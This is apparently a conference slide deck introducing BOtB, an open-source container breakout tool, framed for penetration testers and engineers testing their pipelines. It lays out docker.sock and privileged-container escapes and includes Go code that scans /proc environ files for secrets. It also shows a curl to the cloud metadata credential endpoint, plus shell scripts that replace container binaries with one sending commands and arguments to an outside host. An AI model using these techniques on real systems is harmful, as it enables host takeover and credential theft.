

# Build to Hack, Hack to Build

# Whoami

- My name is Chris Le Roy
- Platform Security Engineer @Heroku
- You can find me on the cyberz with @brompwnie
- I like hacking stuff, I like building stuff
  - Web, Windows, Android, Containers

# Agenda

- The Problem
- Existing Research
- Introducing BOtB
- BOtB Capabilities and Integration
- Conclusion

# What are the Problems?

In a modern cloud-devops-SDLC-Agile  
Environment

- How do we identify and exploit container vulnerabilities?
  - How do we test, secure and monitor our containers?

# Existing Research

- AmlContained
  - Linux SECCOMP and CAPS, LXC or Docker
- GoogleContainerTools
  - container-structure-test is a great tool to analyze images (static)
- Clair
  - Vulnerability Static Analysis for Containers
- Aqua Security
  - Docker-benchmark against CIS Docker Benchmark

# How do I like to solve problems?

# Pwn all the Things

- Break Out The Box (BOtB)
- <https://github.com/brompwnie/botb>
- Written in Go
- Ability to autopwn common Container vulnerabilities
- Ability to perform common Container recon functions (think Linux Post Exploitation)
- Options to implement abilities in a manner that is useful for pentesters and engineers

# Pwn all the Things: Docker.sock

- Hacking containers 101 method
- Using Docker from within a container <- don't do this
- This can allows us to break out of containers
  - Local PrivEsc to ROOT

# Pwn all the Things: Docker.sock

- Step 1: Identify docker.sock in container
- Step 2: Interact with docker.sock via cURL or Docker Client
- Create a new container and mount the host's filesystem
- Step 4: docker run -ti newContainer
  - chroot mount in Step 3 as root
- Step 5: L00t

# Pwn all the Things: Docker.sock

- Looking for UNIX sockets in containers can be tricky
- Living off the land (LOTL) of a container has problems
  - Useful commands to find domain sockets not available
    - i.e find/ss/netstat etc

# Pwn all the Things: Docker.sock

- docker.sock might not be mounted at:  
/var/run/docker.sock  
You have to find these sockets
  - /moo/bob

# Pwn all the Things: Docker.sock

Syscalls might be available to perform the task you need

% time	seconds	usecs/call	calls	errors	syscall
47.57	0.000802	0	10589		getdents
20.88	0.000352	0	47506		fcntl
20.23	0.000341	0	20885		close
6.41	0.000108	0	5458		openat
2.91	0.000049	0	5467		fstat
2.02	0.000034	0	10586		newfstatat
0.00	0.000000	0	8		read
0.00	0.000000	0	398		write
0.00	0.000000	0	9		open
0.00	0.000000	0	19		mmap
0.00	0.000000	0	14		mprotect
0.00	0.000000	0	1		munmap
0.00	0.000000	0	26		brk
0.00	0.000000	0	2		rt_sigaction
0.00	0.000000	0	1		rt_sigprocmask
0.00	0.000000	0	2		1 ioctl
0.00	0.000000	0	9		9 access
0.00	0.000000	0	1		execve
0.00	0.000000	0	1		uname
0.00	0.000000	0	1		fchdir
0.00	0.000000	0	1		gettimeofday
0.00	0.000000	0	1		getrlimit
0.00	0.000000	0	2		2 statfs
0.00	0.000000	0	1		arch_prctl
0.00	0.000000	0	1		set_tid_address
0.00	0.000000	0	1		set_robust_list
<hr/>					
100.00	0.001686		100990		12 total

```
func walkpath(path string, info os.FileInfo, err error) error {
    if err != nil {
        if *verbosePtr {
            fmt.Println("[ERROR]: ", err)
        }
    } else {
        switch mode := info.Mode(); {
        case mode&os.ModeSocket != 0:
            if *verbosePtr {
                fmt.Println("[!] Valid Socket: " + path)
            }
            validSocks = append(validSocks, path)
            foundSock = true
        default:
            if *verbosePtr {
                fmt.Println("[*] Invalid Socket: " + path)
            }
        }
    }
}
```

# Pwn all the Things: Docker.sock Container Breakout with BOtB

# Pwn all the Things: Docker.sock

- BOtB can be used to drop into an interactive TTY on the underlying host (Pentester)
- BOtB can be used to exploit the exposed docker.sock but not drop into an interactive TTY (Engineer)
  - Return code > 0
- No need to install additional packages to utilise the capabilities

# Pwn all the Things: Docker.sock BOtB integrated with CI

But there's more to Pwn...

# Pwn all the Things: Privileged

- Docker, --Privileged
- Dangerous SYSCALL's and CAPS
  - --cap-add=SYS\_ADMIN
- Easy container escapes

# Pwn all the Things: --Privileged

# Pwn all the Things: ENV

- Container implementations utilise Env
- Not container specific but very prevalent
  - Good 'ol ENV i.e PATH etc
- Proc filesystem is your friend too
  - /proc/{pid}/Environ
    - This location can have more than you bargained for
    - Just because you cleared ENV, does not imply that /proc/{pid}/Environ has been cleared

# Pwn all the Things: ENV

- BOtB has the ability to access ENV and /proc/environ
- ENV variables can accessed via "os.Environ()"
  - Environ returns a copy of strings representing the environment, in the form "key=value"
- Accessing /proc/{pid}/Environ can get tricky
  - Ephemerality
  - General Linux Proc FS mechanics

# Pwn all the Things: ENV

```
func checkProcEnviron() {
    fmt.Println("[+] Searching /proc/* for data")
    files, err := ioutil.ReadDir("/proc")
    if err != nil {
        log.Fatal(err)
    }
    for _, file := range files {
        environFile := "/proc/" + file.Name() + "/environ"
        _, err := os.Stat(environFile)
        if err != nil {
            if *verbosePtr {
                fmt.Println("[ERROR] file does not exist-> ", environFile)
            }
        } else {
            cmd := "cat " + environFile
            output, err := execShellCmd(cmd)
            if err != nil {
                log.Fatal(err)
            }
            if checkForJuicyDeets(output) {
                fmt.Printf("[!] Sensitive keyword found in: %s -> '%s'\n", environFile, output)
                exitCode = 2
            }
        }
    }
}
```

# Pwn all the Things: ENV

# Pwn all the Things: ENV BOtB integrated with CI

# Pwn all the Things: Meta

- Clouds are a favourite spot for Containers
  - Because of this, metadata services are available
- Common endpoint for AWS, GCP, Azure etc
  - `http://169.254.169.254`
- This endpoint can be used for many things
  - Perform certain actions on the platform
    - `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access`
  - Platform Specific

# Pwn all the Things: Meta

- Metadata services are one type of API
- There may be many other API's exposed
  - Control Plane API's i.e K8
- These endpoints may be lurking in your Cloud
  - Potentially accessible from a container
  - EC2 Classic, "instances run in a single, flat network that you share with other customers"
- Back to Container quirks
  - You don't always have nmap,cURL, ifconfig, ip etc

# Pwn all the Things: Meta BOtB searching for metadata

# Recon is fun but...

# Pwn all the Thinings: Binary Hijacking

- Container binaries are often utilised to perform actions by entities outside of the container
  - docker exec
    - Trusts command explicitly

# Pwn all the Thinings: Binary Hijacking

- Kubectl cp
  - Calls the container's TAR binary
  - Victim of a recent attack
    - <https://www.twistlock.com/labs-blog/disclosed-directory-traversal-vulnerability-kubernetes-copy-cve-2019-1002101/>

At some point in your  
Container's execution, a binary  
might be executed

# Hijack all the binaries!

# Pwn all the Thinings: Binary Hijacking

- Warning! Here be dragons
  - This could break stuff, you are modifying the container and its contents

# Pwn all the Thinings: Binary Hijacking

- Step 1: Determine if you have +rw perms to /bin, /sbin, /usr/bin
- Step 2: Create a malicious executable that does something
  - Webhook, fuzz, etc
- Step 3: Replace everything in /bin, /sbin,/usr/bin with your malicious “binary” and chmod +x
- L00t

# Pwn all the Thinings: Binary Hijacking

- Prepping a malicious executable
  - Capturing the command that was called (hijacked) "\$0"
  - Capturing the first 3 params "\$1,\$2,\$3"

```
#!/bin/sh
curl "https://somehost.to.send/canary/saferidge?command=$0&param1=$1&param2=$2&param3=$3"> /dev/null 2>&1

# uncomment this line to have the hijacked binary return garbage, garbage in, garbage out for some fuzz testing
# echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

# Pwn all the Thinings: Binary Hijacking

## Hijacking binaries, bash into submission

```
#!/bin/sh

# uncomment this while loop to hijack as many binaries as possible
while read line
do
    toReplace=`which $line`
    if [ $line == "busybox" ]||[ $line == "sh" ]||[ $line == "dash" ]|| [ $line ==
"ls" ]|| [ $line == "echo" ] || [ $line == "chmod" ] || [ $line == "bash" ] ||
[ $line == "cp" ] || [ $line == "compgen" ] || [ $line == "rm" ] || [ $line ==
"mv" ] || [ $line == "which" ]||| [ $line == "curl" ]; then
    :
else
    cp thebadbin $line
    mv $line $toReplace
fi
done < "/dev/stdin"
```

# Pwn all the Thinings: Binary Hijacking

- Receiving callbacks is interesting
  - Could happen 1min, 5min, 1hr, next week
  - Tokens in cURL commands
  - Prevent logic from occurring
    - Unexpected output
  - General Borkage

# Pwn all the Thinings: Binary Hijacking

But wait, there's more!

# Pwn all the Things: CVE:-???

- There's a few issues that we can have phun with
- CVE-2014-6271 (Shellshock/Bashbug)
- Docker Shocker
- DirtyCow
- CVE-2017-5123 (waitid privesc)
- CVE-2019-5736 (RunC)

# Pwn all the Things

CVE-2019-5736

- Similar to hijacking binaries
  - You are hijacking the runC binary on the host
    - Issue in how runC spawns a new process in a Container

# Pwn all the Things

CVE-2019-5736

- Last resort exploit
  - If successful, this will break the underlying Container runtime
  - You need root(Docker) and privileged Container(LXC)
    - runC binary is owned by root

# Pwn all the Things

CVE-2019-5736

- We can make use of our binary hijacking strategy
  - We replace runC with a web hook function to our endpoint
    - It will break Docker but at least will know if it is vulnerable or get a shell

# Pwn all the Things

Breaking out with CVE-2019-5736

# Conclusion

- BOtB can be used by both pentesters and engineers
  - Use it to get shells or verify exploitability
  - Use it to test within your SDLC Environment and get feedback
  - Feedback is either immediate or not
    - We are identifying and exploiting both immediate and delayed vulnerabilities

# Conclusion

- <https://github.com/brompwnie/botb>

# References

- <https://docs.docker.com/engine/security/https/>
- <https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands#cp>
- <https://docs.docker.com/engine/reference/commandline/exec/>
- <https://github.com/GoogleContainerTools/container-structure-test>
- <https://github.com/coreos/clair>
- <https://github.com/aquasecurity/docker-bench>
- <https://www.cisecurity.org/benchmark/docker/>
- <https://github.com/Frichetten/CVE-2019-5736-PoC>
- <https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/>
- <https://www.twistlock.com/labs-blog/disclosed-directory-traversal-vulnerability-kubernetes-copy-cve-2019-1002101/>
- <https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-classic-platform.html>
- <https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/>
- <https://github.com/singe/container-breakouts>